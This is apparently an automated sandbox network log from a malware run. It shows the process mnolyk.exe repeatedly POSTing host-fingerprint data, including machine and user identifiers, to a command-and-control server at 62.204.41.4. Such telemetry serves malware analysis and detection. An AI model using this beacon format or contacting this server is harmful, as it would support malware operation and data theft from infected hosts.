Feb 6, 2023 18:36:47.522865057 CET	627	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:47.586518049 CET	627	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.7	49908	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:47.759181023 CET	628	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:47.823967934 CET	628	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.7	49909	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:47.991595030 CET	629	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:48.057262897 CET	629	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.7	49910	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:48.230041981 CET	630	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:48.295130014 CET	630	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.7	49911	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:48.462366104 CET	631	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:48.527606964 CET	631	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.7	49912	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:48.704071045 CET	632	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:48.767746925 CET	632	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.7	49913	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:48.947845936 CET	633	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:49.011852980 CET	633	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.7	49914	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:49.185767889 CET	634	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:49.253202915 CET	634	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.7	49915	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:49.430013895 CET	635	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:49.494277000 CET	635	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.7	49743	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:02.235831976 CET	451	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:02.300020933 CET	451	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.7	49916	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:49.663084984 CET	636	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:49.726577997 CET	636	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.7	49917	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:49.905139923 CET	637	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:49.969903946 CET	637	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.7	49918	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:50.149977922 CET	638	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:50.215410948 CET	638	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.7	49919	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:50.383743048 CET	639	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:50.448525906 CET	639	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.7	49920	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:50.617007971 CET	640	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:50.679874897 CET	640	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.7	49921	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:50.850421906 CET	641	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:50.914513111 CET	641	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.7	49922	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:51.089880943 CET	642	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:51.156610966 CET	642	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.7	49923	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:51.342927933 CET	643	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:51.409949064 CET	643	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.7	49924	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:51.587444067 CET	644	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:51.654720068 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.7	49925	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:52.126735926 CET	645	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:52.192497969 CET	645	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49726	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:35:56.260662079 CET	365	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:35:56.327101946 CET	380	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.7	49744	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:02.475153923 CET	452	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
